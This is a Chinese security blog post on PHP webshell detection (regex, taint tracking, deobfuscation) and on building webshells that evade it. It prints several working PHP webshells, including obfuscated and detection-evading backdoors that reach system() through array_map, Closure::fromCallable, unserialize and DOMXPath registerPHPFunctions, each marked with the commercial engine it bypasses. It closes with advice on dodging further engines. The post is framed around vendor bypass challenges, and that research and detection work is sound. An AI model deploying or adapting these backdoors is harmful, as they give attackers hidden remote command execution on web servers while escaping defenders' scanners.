<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    利用PHP的特性做免殺Webshell

    VSole2022-08-05 16:41:05

    0x01 前言

    最近很多家廠商都陸續開放了自己的Webshell檢測引擎,并且公開接口,邀請眾安全研究員參加嘗試bypass檢測引擎,并且給予獎勵,我也參加了幾場類似的活動,有ASRC伏魔計劃,也有TSRC獵刃計劃,還有最近正在進行的長亭牧云(Aka.關山)Webshell檢測引擎,如果你都參加或者關注了這三個比賽,你會發現他們都提到了以下幾個技術:

    1、詞法分析2、污點追蹤3、惡意代碼檢測

    這些新技術我們后面的章節中,我們先講一下傳統的Webshell檢測機制,再對照著最新的Webshell檢測技術來說明一下如何在新技術下做免殺Webshell(本文所有Webshell基于PHP語言)

    0x02 傳統Webshell檢測

    傳統的Webshell檢測技術主要依賴于字符串的正則特征,在面對于已知的樣本可以做到高準確率檢測,在長時間的樣本收取下,也可以做到滿足日常運維中的Webshell檢測,舉幾個經典的Webshell樣本

    1、經典一句話Webshell

    eval($_GET['cmd']);?>

    2、反序列化Webshell

    <?phpClass H3{function __destruct(){eval($this->c);  }
    }
    $a= new H3;$a->c = $_GET['cmd'];
    

    3、無字母Webshell

    <?php$_=97;$__=97+18;//s$___=$__+6;//y$____=$__+1;//t$_____=$_+4;//e$______=$__-6;//m
    $res=chr($__).chr($___).chr($__).chr($____).chr($_____).chr($______);
    $_=$_POST['cmd'];$res($_);
    

    但是對于當下的技術發展,黑客們可以更加精心的編寫Webshell來"騙"過傳統的Webshell檢測機制,而且Webshell易變形,在面對0day樣本的時候,傳統Webshell檢測就會效果欠佳,也就需要更加全面的手段來與其抗衡

    0x03 新型Webshell檢測

    對于現如今的情況下,傳統的Webshell檢測對于0day樣本的檢測效率已經不是特別好了,所以這時候就需要一種"主動"的檢測方式,能夠讓引擎主動去理解腳本、分析樣本,發現樣本中的惡意行為,而不是依靠人工來添加Webshell特征。

    1、污點追蹤

    舉個例子,對于一個Webshell來說,如果要進行任意命令執行,就一定要獲取外界數據,對于PHP來說也就是$_GET、$_POST來接受數據,而要想任意命令執行,這些接收到的數據也就一定要最終傳遞到eval、system等函數中,而污點追蹤技術就是利用這一點,如果樣本中的外界變量通過不斷傳遞,最終進入到危險函數中,那基本上就可以斷定為Webshell,將外界變量視為污點源,危險函數視為污點匯聚點,跟蹤污點傳播過程,判斷污點變量是否被洗白,最終是否進入污點匯聚點,畫一個流程圖如下:

    2、詞法分析

    檢測引擎會將各種腳本語言進行詞法語法分析,然后構建控制流圖和數據流圖,并在圖上跟蹤外界污點變量的傳遞,使用外界變量是WebShell非常重要的特征,如果發現外界變量最終進入了命令執行函數,就可以判斷為Webshell。

    引擎可以將傳統的條件、循環、函數、對象的靜態分析,目前還可以支持動態變量名、箭頭函數、反射、回調等動態特性的分析,大大的強化的未知樣本的檢測成功率。

    3、加密還原

    在此之前我們的Webshell常用的繞過檢測的方法就是通過加密來繞過,例子如下:

    <?php$_=[];$_=@"$_";// $_='Array';$_=$_['!'=='@'];// $_=$_[0];$___=$_;// A$__=$_;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
    $___.=$__;// S$___.=$__;// S$__=$_;
    $__++;$__++;$__++;$__++;// E $___.=$__;
    $__=$_;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// R$___.=$__;
    $__=$_;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// T$___.=$__;
    $____='_';$__=$_;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// P$____.=$__;
    $__=$_;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// O$____.=$__;
    $__=$_;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// S$____.=$__;
    $__=$_;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// T$____.=$__;
    $_=$$____;$___(base64_decode($_[_]));// ASSERT($_POST[_]);
    

    該樣本利用了混淆和加密兩種技術,但是現如今的檢測引擎都具備有對市面上的大部分PHP加密混淆進行“脫殼”和利用動態分析PHP執行器進行虛擬執行,將混淆加密的代碼進行動態還原,解密后混淆和加密相當于明文傳輸,再利用污點追蹤技術和動靜態結合分析即可大大的提高檢測率,并且能夠有效減小誤報率,同時也讓這種在之前百試不爽的技巧無法使用。

    0x04 如果Bypass掉新型檢測引擎

    我們要知道原理就可以想辦法如何“蒙騙“住檢測引擎,如果大家研究過,或者說親身參與到了bypass挑戰賽中,就能感受到無論是動靜態還是什么技術,最后都是根據污點追蹤法則來進行檢測,污點追蹤的流程在上一節提到了,目前我們有兩個方法:

    1、利用PHP中其他的命令執行的方法,讓檢測引擎識別不出這是污點匯集點

    2、打斷污點追蹤的過程,讓污點匯集點不落地

    拿出一個樣本我們來結合代碼說明(以下樣本分別bypass的引擎會標注出來,截止筆者寫這篇的文章的時候只有牧云webshell檢測引擎正在開啟)

    樣本1

    <?php//ASRC伏魔引擎bypass$result=array_diff(["s","a","b","ys","te","m"],["a","b"]);$a=join($result);
    array_map($a,(array)$_REQUEST['1']);?>
    

    講一下原理,首先我們需要利用技巧(PHP本身的特性),來阻斷污點追蹤的過程,我在fuzz測試的時候發現了array_map()這個函數存在callback并且能夠逃避檢測

    那么首先的能夠bypass的污點匯集點已經有了,接下里來就是尋找其他函數來將變量"洗白",我選擇了array_diff()

    這樣就可以利用該函數拼湊出一個system函數,再利用array_map()的callback來做命令執行

    結果如下:

    這樣就完成了最簡單的一次bypass

    樣本2

    <?php//bypass 牧云 文件名需要設置為system$filename=substr(__FILE__,-10,6);$command=$_POST[1];$filename($command);
    

    __FILE__是PHP的一個魔術常量,它會返回當前執行PHP腳本的完整路徑和文件名,我們利用substr()函數逆著截取,就能獲得system再利用變量做函數的方式,打斷了污點追蹤的過程,進行命令執行,也可以成功bypass掉牧云引擎。

    結果如下:

    牧云引擎檢測結果如下:

    樣本3

    <?php//bypass 牧云 and TAV反病毒引擎+洋蔥惡意代碼檢測引擎classA{
        publicfunction__construct(){}
        publicfunction__wakeup(){
            $b=$_GET[1];        $result=array_diff(["s","a","b","ys","te","m"],["a","b"]);        $a=join($result);
            Closure::fromCallable($a)->__invoke($_REQUEST[2]);    }
    }
    @unserialize('O:1:"A":1:{s:10:" A comment";N;}');
    

    這個套了一層反序列化,隱藏污點匯集點的方法與樣本一相同,利用數組差級構造system后利用原生類Closure的fromCallable函數

    進行命令執行(在牧云中array_diff(["s","a","b","ys","te","m"],["a","b"]);這種方式會被check,索性換成動態控制,這樣也能打斷污點追蹤)

    結果如下:

    樣本4

    <?php// dom and xml needed, install php-xml and leave php.ini as default.// Author:LemonPrefect$cmd=$_GET[3];$_REQUEST[1] ="http://book[php:functionString('system', '$cmd') = 'PHP']";$_REQUEST[2] = ["php","http://php.net/xpath"];$xml=<<<XML<?xml version="1.0" encoding="UTF-8"?>
    <books>
        <book>
            <title>We are the championstitle>
            <author>LemonPrefectauthor>
            <author>H3h3QAQauthor>
        book>
    books>
    XML;
    $doc=newDOMDocument;
    $doc->loadXML($xml);
    $clazz= (newReflectionClass("DOMXPath"));$instance=$clazz->newInstance($doc);
    $clazz->getMethod("registerNamespace")->getClosure($instance)->__invoke(...$_REQUEST[2]);$clazz->getMethod("registerPHPFunctions")->invoke($instance);$clazz->getMethod("query")->getClosure($instance)->__invoke($_REQUEST[1]);
    

    該樣本需要一些條件,前提是開啟了php-xml拓展才可以,其原理就是用XML去注冊一個registerPHPFunctions,也就是我們想要執行的system再利用getClosure去觸發該方法而構成的webshell,其中即利用到了PHP的特性,利用registerNamespace和registerPHPFunctions來中斷污點追蹤,從而RCE

    結果如下:

    0x05 總結

    在構造Webshell的時候,我們如果知道Webshell檢測引擎原理,就知道如何去bypass了,對于怎樣過掉Webshell引擎這件事,需要開動腦筋多去找一下PHP的文檔,去找一下原生類和其他能夠中斷污點追蹤的方法,讓引擎跟蹤不到你的行為,而且盡量不要讓敏感字符串出現在代碼本體,因為有的引擎還是有字符串的正則特征檢測,同時也要學會分析,分析自己的Webshell到底哪里出的問題,從而找到更好的方法去替換。

    0x06 參考和引用

    http://blog.nsfocus.net/https-webshell-1125/
    https://xz.aliyun.com/t/11391
    https://blog.csdn.net/Baidu_Secrity/article/details/108709536
    https://mp.weixin.qq.com/s?__biz=MzI1NzM0MTMzMg==&mid=2247491411&idx=1&sn=9d943adb7cbbd79e25a6d253a95bf438&chksm=ea19bda8dd6e34be4ec6905f34f7a1f1c3b2554c62b6c9a576bcf3bc80028192307059dedbd1&scene=178&cur_album_id=2242631586997420036#rd
    https://www.cnblogs.com/beautiful-code/p/15166042.html
    
    phpwebshell
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    將 payload 放在 -pf 所指定的路徑二、hide webshellpython hide_webshell.py hide_webshell.py normal.php -pf payload.txt. uid=502 gid=20 groups=20,12, ...此處省略
    WebShell基礎詳解
    2022-01-07 06:47:08
    顧名思義,“web”的含義是顯然需要服務器開放web服務,“shell”的含義是取得對服務器某種程度上操作權限。webshell常常被稱為入侵者通過網站端口對網站服務器的某種程度上操作的權限。由于webshell其大多是以動態腳本的形式出現,也有人稱之為網站的后門工具。
    顧名思義,“web”的含義是顯然需要服務器開放web服務,“shell”的含義是取得對服務器某種程度上操作權限。webshell常常被稱為入侵者通過網站端口對網站服務器的某種程度上操作的權限。由于webshell其大多是以動態腳本的形式出現,也有人稱之為網站的后門工具。
    Webshell 檢測綜述
    2022-12-15 09:45:32
    通過Webshell,攻擊者可以在目標服務器上執行一些命令從而完成信息嗅探、數據竊取或篡改等非法操作,對Web服務器造成巨大危害。Webshell惡意軟件是一種長期存在的普遍威脅,能夠繞過很多安全工具的檢測。許多研究人員在Webshell檢測領域進行了深入研究,并提出了一些卓有成效的方法。本文以PHP Webshell為例。
    目前國內安全人員常用的有:中國菜刀、中國蟻劍、冰蝎、哥斯拉、Metasploit、SharPyShell等,也有一些內部團隊開發的類似工具,但是并沒有對外公開。已被各大安全廠商提取其特征。任何人不得將其用于非法用途以及盈利等目的,否則后果自行承擔!這個工具超越于普通的webshell管理是因為其還擁有安全掃描、漏洞利用測試等功能,可以幫助滲透測試人員進行高效的測試工作。
    之前已經就CVE-2021-36394 Moodle Shibboleth認證模塊反序列化漏洞原理進行了詳細分析,并且給出了一條可實現修改管理員密碼的利用鏈: 最近發現有小伙伴放出了RCE的利用鏈,瞅了下確實可行,還是自己功力不夠啊,這里分享下對這條利用鏈的分析過程。
    WSH是一款功能強大的Web Shell生成器和命令行接口工具。WSH的客戶端支持命令歷史記錄和日志記錄功能,并且可以跟以前部署的標準Webshell交互。生成器使用了PHP、ASP和JSP來創建Webshell。它們使用隨機變量生成,因此每一個都擁有單獨的哈希。它們可以使用白名單或密碼進行配置,并允許通過自定義Header和參數進行發送。廣大研究人員可以使用下列命令將該項目源碼克隆至本地:
    一、前言 二、Windows入侵排查 檢查系統賬號安全 檢查異常端口、進程 檢查啟動項、計劃任務、服務 檢查系統相關信息 自動化查殺 日志分析 三、Linux入侵排查 賬號安全 歷史命令 檢查異常端口 檢查異常進程 檢查開機啟動項 檢查定時任務 檢查服務 檢查異常文件 檢查系統日志
    到達客戶現場后第一時間告知負責網絡相關的人員請勿對被篡改文件進行刪除或修改,這樣做的原因是方便后續對入侵途徑進行溯源分析。發生安全事件的服務器為Windows還是Linux或者其他的操作系統,確認好操作系統類型方便取證工作。是否為用戶誤操作所導致觸發告警。Windows系統下:使用“MD5校驗器”打開原有文件與疑似篡改文件,獲得MD5值后進行比對,如果兩文件MD5不一樣證明該文件被篡改。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类